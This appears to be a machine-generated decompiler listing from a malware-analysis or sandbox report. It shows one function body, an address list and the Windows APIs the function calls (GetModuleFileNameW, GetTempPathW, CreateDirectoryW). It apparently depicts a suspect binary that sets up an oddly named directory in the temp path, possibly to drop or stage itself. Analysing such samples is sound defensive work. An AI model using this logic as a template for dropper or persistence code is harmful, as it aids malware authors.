				if ( *((long long*)(_t842 +  *((intOrPtr*)( *((intOrPtr*)(_t842 + 0x290)) + 4)) + 0x290 + 0x48)) != 0) goto 0xf4734414;
				r8d = 0;
				E000007FE7FEF47330B0( *(_t842 +  *((intOrPtr*)( *((intOrPtr*)(_t842 + 0x290)) + 4)) + 0x290 + 0x10) | 6,  *((long long*)(_t842 +  *((intOrPtr*)( *((intOrPtr*)(_t842 + 0x290)) + 4)) + 0x290 + 0x48)), _t842 +  *((intOrPtr*)( *((intOrPtr*)(_t842 + 0x290)) + 4)) + 0x290);
				r8d = 0x110;
				E000007FE7FEF47486A0(_t487, 0, _t521, _t524, _t842 + 0x180, _t842 + 0x138, _t842 - 0x48);
				E000007FE7FEF473BE20(_t645, _t842 + 0x180, _t842 - 0x48);
				E000007FE7FEF473A9C0(_t645, _t842 + 0x180, _t842 - 0x28);
				if ( *((long long*)(_t842 +  *((intOrPtr*)( *((intOrPtr*)(_t842 + 0x180)) + 4)) + 0x180 + 0x48)) != 0) goto 0xf4734478;
				r8d = 0;
				E000007FE7FEF47330B0( *(_t842 +  *((intOrPtr*)( *((intOrPtr*)(_t842 + 0x180)) + 4)) + 0x190) & 0xfffffffe | 0x00000004,  *((long long*)(_t842 +  *((intOrPtr*)( *((intOrPtr*)(_t842 + 0x180)) + 4)) + 0x180 + 0x48)), _t842 +  *((intOrPtr*)( *((intOrPtr*)(_t842 + 0x180)) + 4)) + 0x180);
				 *((long long*)(_t842 + 0x98)) = _t842 + 0x180;
				_t677 =  *((intOrPtr*)(_t842 +  *((intOrPtr*)( *((intOrPtr*)(_t842 + 0x180)) + 4)) + 0x1c8));
				if (_t677 == 0) goto 0xf47344ad;
				 *((intOrPtr*)( *_t677 + 8))();
				 *((char*)(_t842 + 0xa0)) = E000007FE7FEF473CC50(_t842 + 0x180);
				_t679 =  *((intOrPtr*)( *((intOrPtr*)(_t842 + 0x180)) + 4));
				if (( *(_t842 + _t679 + 0x190) & 0x00000006) != 0) goto 0xf4734531;
				 *(_t844 + 0x20) = 1;
				r9d = 0;
				r8d = 0;
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t842 + _t679 + 0x1c8)))) + 0x50))();
				_t539 =  *((intOrPtr*)(_t842 - 0x20)) +  *((intOrPtr*)(_t842 - 0x28)) -  *0xf4769c90; // 0xffffffffffffffff
				if (_t539 != 0) goto 0xf4734531;
				if ( *((long long*)(_t842 +  *((intOrPtr*)( *((intOrPtr*)(_t842 + 0x180)) + 4)) + 0x180 + 0x48)) != 0) goto 0xf4734528;
				r8d = 0;
				E000007FE7FEF47330B0( *(_t842 +  *((intOrPtr*)( *((intOrPtr*)(_t842 + 0x180)) + 4)) + 0x180 + 0x10) | 6,  *((long long*)(_t842 +  *((intOrPtr*)( *((intOrPtr*)(_t842 + 0x180)) + 4)) + 0x180 + 0x48)), _t842 +  *((intOrPtr*)( *((intOrPtr*)(_t842 + 0x180)) + 4)) + 0x180);
				_t686 =  *((intOrPtr*)(_t842 +  *((intOrPtr*)( *((intOrPtr*)(_t842 + 0x180)) + 4)) + 0x1c8));
				if (_t686 == 0) goto 0xf473454f;
				 *((intOrPtr*)( *_t686 + 0x10))();
				 *((long long*)(_t842 - 0x50)) = 0xf;
				 *(_t842 - 0x58) = _t901;
				 *((char*)(_t842 - 0x68)) = 0;
				r8d = 0;
				E000007FE7FEF4722D50(_t645, _t842 - 0x68, 0xf476a763, _t838, _t842 - 0x48);
				 *((long long*)(_t842 + 0x70)) = 0xf;
				 *(_t842 + 0x68) = _t901;
				 *((char*)(_t842 + 0x58)) = 0;
				r8d = 0;
				E000007FE7FEF4722D50(_t645, _t842 + 0x58, 0xf476a763, _t838, _t842 - 0x48);
				asm("o16 nop [eax+eax]");
				_t622 = _t842 + 0x180;
				E000007FE7FEF47331A0( *((intOrPtr*)( *((intOrPtr*)(_t842 + 0x180)) + 4)) + _t622, _t842 + 0x98);
				E000007FE7FEF473D840(_t645, _t622, _t833, _t838);
				_t692 =  *((intOrPtr*)(_t842 + 0x98));
				if (_t692 == 0) goto 0xf47345f2;
				 *((intOrPtr*)( *_t692 + 0x10))();
				if (_t622 == 0) goto 0xf47345f2;
				 *((intOrPtr*)( *_t622))();
				_t623 =  *_t622;
				r8d =  *((intOrPtr*)(_t623 + 0x40))() & 0x000000ff;
				_t421 = E000007FE7FEF473F6E0(_t523, _t622, _t842 + 0x180, _t842 + 0x58);
				if (( *( *((intOrPtr*)( *_t623 + 4)) + _t623 + 0x10) & 0x00000006) != 0) goto 0xf473471f;
				_t835 =  <  ?  *(_t842 + 0x68) : _t833 | 0xffffffff;
				_t793 =  *(_t842 - 0x58);
				if ((_t623 | 0xffffffff) - _t793 - _t835 <= 0) goto 0xf4734712;
				if (_t835 == 0) goto 0xf47346ea;
				_t647 = _t835 + _t793;
				if (_t647 - 0xfffffffe > 0) goto 0xf4734705;
				if ( *((intOrPtr*)(_t842 - 0x50)) - _t647 >= 0) goto 0xf473467d;
				E000007FE7FEF47230C0(_t421, _t842 - 0x68, _t647, _t793);
				goto 0xf4734697;
				if (_t647 != 0) goto 0xf473469c;
				 *(_t842 - 0x58) = _t901;
				_t627 =  >=  ?  *((void*)(_t842 - 0x68)) : _t842 - 0x68;
				 *( >=  ?  *((void*)(_t842 - 0x68)) : _t842 - 0x68) = _t486;
				goto 0xf47346ea;
				if (_t647 == 0) goto 0xf47346ea;
				_t629 =  >=  ?  *((void*)(_t842 + 0x58)) : _t842 + 0x58;
				_t878 =  >=  ?  *((intOrPtr*)(_t842 - 0x68)) : _t842 - 0x68;
				if (_t835 == 0) goto 0xf47346d6;
				_t796 =  >=  ?  *((void*)(_t842 + 0x58)) : _t842 + 0x58;
				E000007FE7FEF4740FC0(_t487, _t521, _t522, _t524, ( >=  ?  *((intOrPtr*)(_t842 - 0x68)) : _t842 - 0x68) +  *(_t842 - 0x58),  >=  ?  *((void*)(_t842 + 0x58)) : _t842 + 0x58, _t835);
				 *(_t842 - 0x58) = _t647;
				_t631 =  >=  ?  *((intOrPtr*)(_t842 - 0x68)) : _t842 - 0x68;
				 *((char*)(_t631 + _t647)) = 0;
				r8d = 1;
				0xf473ca00();
				goto 0xf47345a0;
				E000007FE7FEF47589A8(_t487, 0xa, _t521, _t524,  *((intOrPtr*)(_t842 - 0x50)) - 0x10, _t631, _t647, "string too long", _t835, _t838,  *((intOrPtr*)(_t842 - 0x68)),  >=  ?  *((intOrPtr*)(_t842 - 0x68)) : _t842 - 0x68);
				asm("int3");
				E000007FE7FEF47589A8(_t487, 0xa, _t521, _t524,  *((intOrPtr*)(_t842 - 0x50)) - 0x10, _t631, _t647, "string too long", _t835, _t838,  *((intOrPtr*)(_t842 - 0x68)),  >=  ?  *((intOrPtr*)(_t842 - 0x68)) : _t842 - 0x68);
				asm("int3");
				E000007FE7FEF473D010(_t647, _t842 + 0x190, _t838);
				if (_t631 != 0) goto 0xf473475b;
				if ( *((long long*)(_t842 +  *((intOrPtr*)( *((intOrPtr*)(_t842 + 0x180)) + 4)) + 0x180 + 0x48)) != 0) goto 0xf4734753;
				r8d = 0;
				E000007FE7FEF47330B0( *(_t842 +  *((intOrPtr*)( *((intOrPtr*)(_t842 + 0x180)) + 4)) + 0x180 + 0x10) | 6,  *((long long*)(_t842 +  *((intOrPtr*)( *((intOrPtr*)(_t842 + 0x180)) + 4)) + 0x180 + 0x48)), _t842 +  *((intOrPtr*)( *((intOrPtr*)(_t842 + 0x180)) + 4)) + 0x180);
				 *((long long*)(_t842 + 0x50)) = 7;
				 *(_t842 + 0x48) = _t901;
				 *((intOrPtr*)(_t842 + 0x38)) = r15w;
				if (GetTempPathW(??, ??) == 0) goto 0xf47347bb;
				if ( *((short*)(_t842 + 0x6e0)) != 0) goto 0xf4734791;
				goto 0xf47347ab;
				if ( *((short*)(_t842 + 0x6e0 + ((_t901 | 0xffffffff) + 1) * 2)) != 0) goto 0xf47347a0;
				E000007FE7FEF4728E10(_t647, _t842 + 0x38, _t842 + 0x6e0, _t838, (_t901 | 0xffffffff) + 1);
				_t801 =  >=  ?  *((void*)(_t842 + 0x38)) : _t842 + 0x38;
				_t861 = ( >=  ?  *((void*)(_t842 + 0x38)) : _t842 + 0x38) +  *(_t842 + 0x48) * 2;
				_t803 =  >=  ?  *((void*)(_t842 + 0x38)) : _t842 + 0x38;
				 *((long long*)(_t842 + 0xb0)) = 0xf;
				 *(_t842 + 0xa8) = _t901;
				 *((char*)(_t842 + 0x98)) = 0;
				E000007FE7FEF473F620(_t647, _t842 + 0x98,  >=  ?  *((void*)(_t842 + 0x38)) : _t842 + 0x38, _t838, _t842, ( >=  ?  *((void*)(_t842 + 0x38)) : _t842 + 0x38) +  *(_t842 + 0x48) * 2, _t900);
				r8d = 0x118;
				E000007FE7FEF47486A0(0x104, 0, _t521, _t524, _t842 + 0x3b0,  >=  ?  *((void*)(_t842 + 0x38)) : _t842 + 0x38, ( >=  ?  *((void*)(_t842 + 0x38)) : _t842 + 0x38) +  *(_t842 + 0x48) * 2);
				E000007FE7FEF473B210(0, _t647, _t842 + 0x3b0, _t838);
				 *(_t842 - 0x70) = 0xf;
				 *(_t842 - 0x78) = _t901;
				 *((char*)(_t844 + 0x78)) = 0;
				r8d = 0;
				E000007FE7FEF4722B70(_t647, _t844 + 0x78, _t842 + 0x98, _t838, _t842, ( >=  ?  *((void*)(_t842 + 0x38)) : _t842 + 0x38) +  *(_t842 + 0x48) * 2, ( >=  ?  *((intOrPtr*)(_t842 - 0x68)) : _t842 - 0x68) | 0xffffffff);
				 *((long long*)(_t842 + 0x10)) = 7;
				 *(_t842 + 8) = _t901;
				 *((intOrPtr*)(_t842 - 8)) = r15w;
				r8d = 0x20;
				E000007FE7FEF4728590(_t842 - 8,  *(_t842 - 0x78));
				_t881 =  >=  ?  *((intOrPtr*)(_t842 - 8)) : _t842 - 8;
				_t807 =  >=  ?  *((void*)(_t844 + 0x78)) : _t844 + 0x78;
				_t636 =  *(_t842 - 0x78) + ( >=  ?  *((void*)(_t844 + 0x78)) : _t844 + 0x78);
				_t809 =  >=  ?  *((void*)(_t844 + 0x78)) : _t844 + 0x78;
				_t864 =  >  ? _t901 :  *(_t842 - 0x78) + ( >=  ?  *((void*)(_t844 + 0x78)) : _t844 + 0x78) - _t809;
				if (_t864 == 0) goto 0xf47348f0;
				asm("o16 nop [eax+eax]");
				 *((short*)( >=  ?  *((intOrPtr*)(_t842 - 8)) : _t842 - 8)) =  *_t809;
				if ( ~_t809 + _t809 + 1 != _t864) goto 0xf47348d0;
				_t717 =  >=  ?  *((intOrPtr*)(_t842 - 8)) : _t842 - 8;
				CreateDirectoryW(??, ??);
				_t218 = _t900 + 0x5e0; // 0x5e0
				E000007FE7FEF47234E0(0, _t521, _t522,  *((intOrPtr*)(_t842 + 0x10)) - 8, _t647, _t842 + 0x118, _t218, ( >=  ?  *((intOrPtr*)(_t842 - 8)) : _t842 - 8) + 2,  *((intOrPtr*)(_t842 + 0x10)));
				r8d = r8d ^ r8d;
				E000007FE7FEF473C8D0(_t647, _t844 + 0x78, _t842 + 0x118, _t835, _t838, _t842, _t218, ( >=  ?  *((intOrPtr*)(_t842 - 8)) : _t842 - 8) + 0x00000002 | 0xffffffff);
				 *((long long*)(_t842 - 0x10)) = 7;
				 *(_t842 - 0x18) = _t901;
				 *((intOrPtr*)(_t842 - 0x28)) = r15w;
				r8d = 0x20;
				E000007FE7FEF4728590(_t842 - 0x28,  *(_t842 - 0x78));
				_t815 =  >=  ?  *((intOrPtr*)(_t842 - 0x28)) : _t842 - 0x28;
				_t866 =  *((intOrPtr*)(_t844 + 0x78));
				_t721 =  >=  ? _t866 : _t844 + 0x78;
				_t639 =  *(_t842 - 0x78) + ( >=  ? _t866 : _t844 + 0x78);
				_t723 =  >=  ? _t866 : _t844 + 0x78;
				_t895 =  >  ? _t901 :  *(_t842 - 0x78) + ( >=  ? _t866 : _t844 + 0x78) - _t723;
				if (_t895 == 0) goto 0xf47349d8;
				 *((short*)( >=  ?  *((intOrPtr*)(_t842 - 0x28)) : _t842 - 0x28)) =  *_t723;
				_t640 =  ~_t723 + _t723 + 1;
				if (_t640 != _t895) goto 0xf47349b0;
				_t840 =  *((intOrPtr*)(_t842 - 0x10));
				_t818 =  >=  ?  *((intOrPtr*)(_t844 + 0x78)) : _t844 + 0x78;
				r8d = 0x22;
				E000007FE7FEF473CF70(_t640, _t842 + 0x3c8,  >=  ?  *((intOrPtr*)(_t844 + 0x78)) : _t844 + 0x78);
				_t641 =  *((intOrPtr*)(_t842 + 0x3b0));
				if (_t640 != 0) goto 0xf4734a21;
				if ( *((long long*)(_t842 +  *((intOrPtr*)(_t641 + 4)) + 0x3b0 + 0x48)) != 0) goto 0xf4734a2c;
				goto 0xf4734a2c;
				_t517 =  ==  ? r12d : r15d;
				r8d = 0;
				E000007FE7FEF47330B0( ==  ? r12d : r15d,  *((intOrPtr*)(_t842 +  *((intOrPtr*)(_t641 + 4)) + 0x3b0 + 0x48)) - ( >=  ?  *((intOrPtr*)(_t844 + 0x78)) : _t844 + 0x78), _t842 +  *((intOrPtr*)(_t641 + 4)) + 0x3b0);
				E000007FE7FEF473D9E0(_t647, _t842 + 0x3c0, _t842 - 0x68);
				E000007FE7FEF473D010(_t647, _t842 + 0x3c8, _t840);
				if (_t641 != 0) goto 0xf4734a80;
				_t642 =  *((intOrPtr*)(_t842 + 0x3b0));
				if ( *((long long*)(_t842 +  *((intOrPtr*)(_t642 + 4)) + 0x3b0 + 0x48)) != 0) goto 0xf4734a78;
				r8d = 0;
				E000007FE7FEF47330B0( *(_t842 +  *((intOrPtr*)(_t642 + 4)) + 0x3b0 + 0x10) | 6,  *((long long*)(_t842 +  *((intOrPtr*)(_t642 + 4)) + 0x3b0 + 0x48)), _t842 +  *((intOrPtr*)(_t642 + 4)) + 0x3b0);
				 *((long long*)(_t842 + 0xd0)) = 7;
				 *(_t842 + 0xc8) = _t901;
				 *((intOrPtr*)(_t842 + 0xb8)) = r15w;
				r8d = 0xc;
				E000007FE7FEF4733F00(E000007FE7FEF4728E10(_t647, _t842 + 0xb8, L"Rdwmnjioffws", _t840,  *((intOrPtr*)(_t844 + 0x78))), _t522, _t842 + 0x158, _t840, _t842 + 0xb8);
				r8d = r8d ^ r8d;
				E000007FE7FEF4722B70(_t647, _t842 - 0x48, _t844 + 0x78, _t840, _t842, _t842 + 0xb8,  *(_t842 - 0x70) | 0xffffffff);
				_t269 = _t844 + 0x50; // 0x54
				E000007FE7FEF473DC60(_t523, _t647, _t269, "\"", _t842, _t842 - 0x48,  *(_t842 - 0x70) | 0xffffffff);
				_t270 = _t844 + 0x30; // 0x34
				E000007FE7FEF473DD40(_t270, _t642, "\"");
				_t648 = _t642;
				if (_t842 - 0x48 == _t642) goto 0xf4734b3f;
				if ( *((long long*)(_t842 - 0x30)) - 0x10 < 0) goto 0xf4734b23;
				E000007FE7FEF4741974( *((intOrPtr*)(_t842 - 0x48)));
				 *((long long*)(_t842 - 0x30)) = 0xf;
				 *(_t842 - 0x38) = _t901;
				 *((char*)(_t842 - 0x48)) = 0;
				E000007FE7FEF47229E0(_t642, _t842 - 0x48, _t642);
				if ( *((long long*)(_t844 + 0x48)) - 0x10 < 0) goto 0xf4734b51;
				E000007FE7FEF4741974( *((intOrPtr*)(_t844 + 0x30)));
				 *((long long*)(_t844 + 0x48)) = 0xf;
				 *(_t844 + 0x40) = _t901;
				 *((char*)(_t844 + 0x30)) = 0;
				if ( *((long long*)(_t844 + 0x68)) - 0x10 < 0) goto 0xf4734b76;
				E000007FE7FEF4741974( *((intOrPtr*)(_t844 + 0x50)));
				_t286 = _t844 + 0x50; // 0x54
				E000007FE7FEF473DC60(_t523, _t642, _t286, ",", _t842, _t842 + 0x158,  *(_t842 - 0x70) | 0xffffffff);
				r8d = r8d ^ r8d;
				E000007FE7FEF473C8D0(_t642, _t842 - 0x48, _t842 - 0x48,  *((intOrPtr*)(_t842 - 0x28)), _t840, _t842, _t842 + 0x158,  *(_t842 - 0x70) | 0xffffffffffffffff);
				if ( *((long long*)(_t844 + 0x68)) - 0x10 < 0) goto 0xf4734bb5;
				E000007FE7FEF4741974( *((intOrPtr*)(_t844 + 0x50)));
				_t290 = _t900 + 0x60; // 0x60
				E000007FE7FEF4734050(E000007FE7FEF47234E0( *(_t842 +  *((intOrPtr*)(_t642 + 4)) + 0x3b0 + 0x10) | 6, _t521, _t522,  *((long long*)(_t844 + 0x68)) - 0x10, _t642, _t842 + 0xf8, _t290,  *(_t842 - 0x70) | 0xffffffffffffffff,  *((intOrPtr*)(_t842 + 0x10))), _t522, _t842 + 0xd8, _t840, _t842 + 0xf8);
				 *((long long*)(_t844 + 0x48)) = 0xf;
				 *(_t844 + 0x40) = _t901;
				 *((char*)(_t844 + 0x30)) = 0;
				r8d = 0;
				E000007FE7FEF4722B70(_t642, _t844 + 0x30, _t842 - 0x48, _t840, _t842, _t842 + 0xf8,  *(_t842 - 0x70) | 0xffffffffffffffff);
				_t832 =  >=  ?  *((void*)(_t842 + 0xd8)) : _t842 + 0xd8;
				E000007FE7FEF4738F50(_t521, _t522, _t648, _t900,  >=  ?  *((void*)(_t842 + 0xd8)) : _t842 + 0xd8, _t844 + 0x30,  *((intOrPtr*)(_t842 + 0x10)));
				if ( *((long long*)(_t842 + 0xf0)) - 8 < 0) goto 0xf4734c3d;
				E000007FE7FEF4741974( *((intOrPtr*)(_t842 + 0xd8)));
				 *((long long*)(_t842 + 0xf0)) = 7;
				 *(_t842 + 0xe8) = _t901;
				 *((intOrPtr*)(_t842 + 0xd8)) = r15w;
				if ( *((long long*)(_t842 + 0x110)) - 0x10 < 0) goto 0xf4734c6d;
				E000007FE7FEF4741974( *((intOrPtr*)(_t842 + 0xf8)));
				 *((long long*)(_t842 + 0x110)) = 0xf;
				 *(_t842 + 0x108) = _t901;
				 *((char*)(_t842 + 0xf8)) = 0;
				if ( *((long long*)(_t842 + 0x170)) - 0x10 < 0) goto 0xf4734c9c;
				E000007FE7FEF4741974( *((intOrPtr*)(_t842 + 0x158)));
				 *((long long*)(_t842 + 0x170)) = 0xf;
				 *(_t842 + 0x168) = _t901;
				 *((char*)(_t842 + 0x158)) = 0;
				if ( *((long long*)(_t842 + 0xd0)) - 8 < 0) goto 0xf4734ccb;
				E000007FE7FEF4741974( *((intOrPtr*)(_t842 + 0xb8)));
				 *((long long*)(_t842 + 0xd0)) = 7;
				 *(_t842 + 0xc8) = _t901;
				 *((intOrPtr*)(_t842 + 0xb8)) = r15w;
				if (_t840 - 8 < 0) goto 0xf4734cf4;
				E000007FE7FEF4741974( *((intOrPtr*)(_t842 - 0x28)));
				if ( *((long long*)(_t842 + 0x130)) - 0x10 < 0) goto 0xf4734d0a;
				E000007FE7FEF4741974( *((intOrPtr*)(_t842 + 0x118)));
				 *((long long*)(_t842 + 0x130)) = 0xf;
				 *(_t842 + 0x128) = _t901;
				 *((char*)(_t842 + 0x118)) = 0;
				if ( *((long long*)(_t842 + 0x10)) - 8 < 0) goto 0xf4734d33;
				E000007FE7FEF4741974( *((intOrPtr*)(_t842 - 8)));
				 *((long long*)(_t842 + 0x10)) = 7;
				 *(_t842 + 8) = _t901;
				 *((intOrPtr*)(_t842 - 8)) = r15w;
				if ( *(_t842 - 0x70) - 0x10 < 0) goto 0xf4734d55;
				E000007FE7FEF4741974( *((intOrPtr*)(_t844 + 0x78)));
				 *(_t842 - 0x70) = 0xf;
				 *(_t842 - 0x78) = _t901;
				 *((char*)(_t844 + 0x78)) = 0;
				E000007FE7FEF473B340(_t842 + 0x468);
				 *((long long*)(_t842 + 0x468)) = 0xf4769d48;
				E000007FE7FEF4759780(_t842 + 0x468);
				if ( *((long long*)(_t842 + 0xb0)) - 0x10 < 0) goto 0xf4734da4;
				E000007FE7FEF4741974( *((intOrPtr*)(_t842 + 0x98)));
				if ( *((long long*)(_t842 + 0x50)) - 8 < 0) goto 0xf4734db4;
				E000007FE7FEF4741974( *((intOrPtr*)(_t842 + 0x38)));
				 *((long long*)(_t842 + 0x50)) = 7;
				 *(_t842 + 0x48) = _t901;
				 *((intOrPtr*)(_t842 + 0x38)) = r15w;
				if ( *((long long*)(_t842 + 0x70)) - 0x10 < 0) goto 0xf4734dd5;
				E000007FE7FEF4741974( *((intOrPtr*)(_t842 + 0x58)));
				 *((long long*)(_t842 + 0x70)) = 0xf;
				 *(_t842 + 0x68) = _t901;
				 *((char*)(_t842 + 0x58)) = 0;
				if ( *((long long*)(_t842 - 0x50)) - 0x10 < 0) goto 0xf4734df5;
				E000007FE7FEF4741974( *((intOrPtr*)(_t842 - 0x68)));
				 *((long long*)(_t842 - 0x50)) = 0xf;
				 *(_t842 - 0x58) = _t901;
				 *((char*)(_t842 - 0x68)) = 0;
				E000007FE7FEF473BFB0( *(_t842 +  *((intOrPtr*)(_t642 + 4)) + 0x3b0 + 0x10) | 6, _t842 + 0x230);
				 *((long long*)(_t842 + 0x230)) = 0xf4769d48;
				E000007FE7FEF4759780(_t842 + 0x230);
				if ( *((long long*)(_t842 + 0x150)) - 0x10 < 0) goto 0xf4734e3b;
				E000007FE7FEF4741974( *((intOrPtr*)(_t842 + 0x138)));
				 *((long long*)(_t842 + 0x150)) = 0xf;
				 *(_t842 + 0x148) = _t901;
				 *((char*)(_t842 + 0x138)) = 0;
				E000007FE7FEF473B340(_t842 + 0x348);
				 *((long long*)(_t842 + 0x348)) = 0xf4769d48;
				E000007FE7FEF4759780(_t842 + 0x348);
				if ( *((long long*)(_t842 + 0x30)) - 0x10 < 0) goto 0xf4734e84;
				E000007FE7FEF4741974( *((intOrPtr*)(_t842 + 0x18)));
				 *((long long*)(_t842 + 0x30)) = 0xf;
				 *(_t842 + 0x28) = _t901;
				 *((char*)(_t842 + 0x18)) = 0;
				if ( *((long long*)(_t842 - 0x30)) - 0x10 < 0) goto 0xf4734ea4;
				E000007FE7FEF4741974( *((intOrPtr*)(_t842 - 0x48)));
				 *((long long*)(_t842 - 0x30)) = 0xf;
				 *(_t842 - 0x38) = _t901;
				 *((char*)(_t842 - 0x48)) = 0;
				if ( *((long long*)(_t842 + 0x90)) - 8 < 0) goto 0xf4734ec7;
				E000007FE7FEF4741974( *((intOrPtr*)(_t842 + 0x78)));
				return E000007FE7FEF4740F90(0x104, _t521, _t522, _t524,  *(_t842 + 0x8f0) ^ _t844,  >=  ?  *((void*)(_t842 + 0xd8)) : _t842 + 0xd8, _t844 + 0x30);
			}

0x7fef4734190
0x7fef4734190
0x7fef4734190
0x7fef4734190
0x7fef4734190
0x7fef4734190
0x7fef4734190
0x7fef473419b
0x7fef47341a2
0x7fef47341a9
0x7fef47341b2
0x7fef47341b6
0x7fef47341ba
0x7fef47341c4
0x7fef47341cb
0x7fef47341ce
0x7fef47341d1
0x7fef47341d4
0x7fef47341de
0x7fef47341eb
0x7fef47341f0
0x7fef4734200
0x7fef4734206
0x7fef4734211
0x7fef4734218
0x7fef4734225
0x7fef4734227
0x7fef473422a
0x7fef4734237
0x7fef4734248
0x7fef4734255
0x7fef4734267
0x7fef473426c
0x7fef4734273
0x7fef473427b
0x7fef4734280
0x7fef4734288
0x7fef473428c
0x7fef4734294
0x7fef473429a
0x7fef47342a2
0x7fef47342a6
0x7fef47342aa
0x7fef47342b8
0x7fef47342c2
0x7fef47342c7
0x7fef47342d3
0x7fef47342e0
0x7fef47342ea
0x7fef47342f4
0x7fef47342ff
0x7fef4734305
0x7fef473430a
0x7fef4734312
0x7fef4734316
0x7fef4734320
0x7fef4734327
0x7fef473432e
0x7fef473433b
0x7fef4734347
0x7fef4734356
0x7fef473435b
0x7fef4734368
0x7fef473436d
0x7fef4734376
0x7fef4734389
0x7fef4734396
0x7fef473439b
0x7fef47343a4
0x7fef47343a8
0x7fef47343ab
0x7fef47343b7
0x7fef47343c7
0x7fef47343db
0x7fef47343e7
0x7fef47343ef
0x7fef473440f
0x7fef4734414
0x7fef4734417
0x7fef473441e
0x7fef473442b
0x7fef473443b
0x7fef473444c
0x7fef4734473
0x7fef4734478
0x7fef473447b
0x7fef4734487
0x7fef4734499
0x7fef47344a4
0x7fef47344a9
0x7fef47344b9
0x7fef47344c6
0x7fef47344d2
0x7fef47344df
0x7fef47344e7
0x7fef47344ea
0x7fef47344f1
0x7fef47344fc
0x7fef4734503
0x7fef4734523
0x7fef4734528
0x7fef473452b
0x7fef473453c
0x7fef4734547
0x7fef473454c
0x7fef473454f
0x7fef4734557
0x7fef473455b
0x7fef473455f
0x7fef473456d
0x7fef4734573
0x7fef473457b
0x7fef473457f
0x7fef4734583
0x7fef4734591
0x7fef4734597
0x7fef47345ab
0x7fef47345bc
0x7fef47345c5
0x7fef47345cd
0x7fef47345d7
0x7fef47345dc
0x7fef47345e2
0x7fef47345ef
0x7fef47345f2
0x7fef47345fd
0x7fef473460c
0x7fef473461d
0x7fef473462b
0x7fef4734634
0x7fef473463e
0x7fef4734647
0x7fef473464d
0x7fef4734655
0x7fef4734662
0x7fef473466e
0x7fef473467b
0x7fef4734680
0x7fef4734682
0x7fef473468e
0x7fef4734693
0x7fef4734695
0x7fef473469a
0x7fef47346a5
0x7fef47346b6
0x7fef47346bd
0x7fef47346c6
0x7fef47346c9
0x7fef47346d6
0x7fef47346e2
0x7fef47346e6
0x7fef47346ea
0x7fef47346fb
0x7fef4734700
0x7fef473470c
0x7fef4734711
0x7fef4734719
0x7fef473471e
0x7fef4734726
0x7fef473472e
0x7fef473474e
0x7fef4734753
0x7fef4734756
0x7fef473475b
0x7fef4734763
0x7fef4734767
0x7fef4734780
0x7fef473478a
0x7fef473478f
0x7fef47347a9
0x7fef47347b6
0x7fef47347c4
0x7fef47347cd
0x7fef47347d5
0x7fef47347da
0x7fef47347e5
0x7fef47347ec
0x7fef47347fa
0x7fef4734802
0x7fef473480f
0x7fef473481b
0x7fef4734821
0x7fef4734829
0x7fef473482d
0x7fef4734836
0x7fef4734845
0x7fef473484b
0x7fef4734853
0x7fef4734857
0x7fef473485c
0x7fef473486a
0x7fef4734880
0x7fef473488e
0x7fef4734898
0x7fef47348a5
0x7fef47348b4
0x7fef47348bb
0x7fef47348c7
0x7fef47348d3
0x7fef47348e6
0x7fef47348f8
0x7fef47348fe
0x7fef4734904
0x7fef4734912
0x7fef473491c
0x7fef473492b
0x7fef4734930
0x7fef4734938
0x7fef473493c
0x7fef4734941
0x7fef473494f
0x7fef4734965
0x7fef473496e
0x7fef473497b
0x7fef4734983
0x7fef473498f
0x7fef473499c
0x7fef47349a3
0x7fef47349b3
0x7fef47349be
0x7fef47349c5
0x7fef47349d0
0x7fef47349e1
0x7fef47349e5
0x7fef47349f2
0x7fef47349fa
0x7fef4734a0d
0x7fef4734a1a
0x7fef4734a1f
0x7fef4734a28
0x7fef4734a2c
0x7fef4734a2f
0x7fef4734a3f
0x7fef4734a4b
0x7fef4734a53
0x7fef4734a55
0x7fef4734a73
0x7fef4734a78
0x7fef4734a7b
0x7fef4734a80
0x7fef4734a8b
0x7fef4734a92
0x7fef4734a9a
0x7fef4734ac2
0x7fef4734acc
0x7fef4734ad8
0x7fef4734ae8
0x7fef4734aed
0x7fef4734afd
0x7fef4734b02
0x7fef4734b07
0x7fef4734b11
0x7fef4734b18
0x7fef4734b1e
0x7fef4734b23
0x7fef4734b2b
0x7fef4734b2f
0x7fef4734b3a
0x7fef4734b45
0x7fef4734b4c
0x7fef4734b51
0x7fef4734b5a
0x7fef4734b5f
0x7fef4734b6a
0x7fef4734b71
0x7fef4734b84
0x7fef4734b89
0x7fef4734b93
0x7fef4734b9d
0x7fef4734ba9
0x7fef4734bb0
0x7fef4734bb5
0x7fef4734bd4
0x7fef4734bda
0x7fef4734be3
0x7fef4734be8
0x7fef4734bf1
0x7fef4734bfd
0x7fef4734c11
0x7fef4734c21
0x7fef4734c2f
0x7fef4734c38
0x7fef4734c3d
0x7fef4734c48
0x7fef4734c4f
0x7fef4734c5f
0x7fef4734c68
0x7fef4734c6d
0x7fef4734c78
0x7fef4734c7f
0x7fef4734c8e
0x7fef4734c97
0x7fef4734c9c
0x7fef4734ca7
0x7fef4734cae
0x7fef4734cbd
0x7fef4734cc6
0x7fef4734ccb
0x7fef4734cd6
0x7fef4734cdd
0x7fef4734ce9
0x7fef4734cee
0x7fef4734cfc
0x7fef4734d05
0x7fef4734d0a
0x7fef4734d15
0x7fef4734d1c
0x7fef4734d28
0x7fef4734d2e
0x7fef4734d33
0x7fef4734d3b
0x7fef4734d3f
0x7fef4734d49
0x7fef4734d50
0x7fef4734d55
0x7fef4734d5d
0x7fef4734d61
0x7fef4734d6d
0x7fef4734d79
0x7fef4734d87
0x7fef4734d95
0x7fef4734d9e
0x7fef4734da9
0x7fef4734daf
0x7fef4734db4
0x7fef4734dbc
0x7fef4734dc0
0x7fef4734dca
0x7fef4734dd0
0x7fef4734dd5
0x7fef4734ddd
0x7fef4734de1
0x7fef4734dea
0x7fef4734df0
0x7fef4734df5
0x7fef4734dfd
0x7fef4734e01
0x7fef4734e0c
0x7fef4734e11
0x7fef4734e1f
0x7fef4734e2d
0x7fef4734e36
0x7fef4734e3b
0x7fef4734e46
0x7fef4734e4d
0x7fef4734e5b
0x7fef4734e60
0x7fef4734e6e
0x7fef4734e79
0x7fef4734e7f
0x7fef4734e84
0x7fef4734e8c
0x7fef4734e90
0x7fef4734e99
0x7fef4734e9f
0x7fef4734ea4
0x7fef4734eac
0x7fef4734eb0
0x7fef4734ebc
0x7fef4734ec2
0x7fef4734ef3

APIs

GetModuleFileNameW.KERNEL32 ref: 000007FEF4734200
GetTempPathW.KERNEL32 ref: 000007FEF4734778
CreateDirectoryW.KERNEL32 ref: 000007FEF47348FE
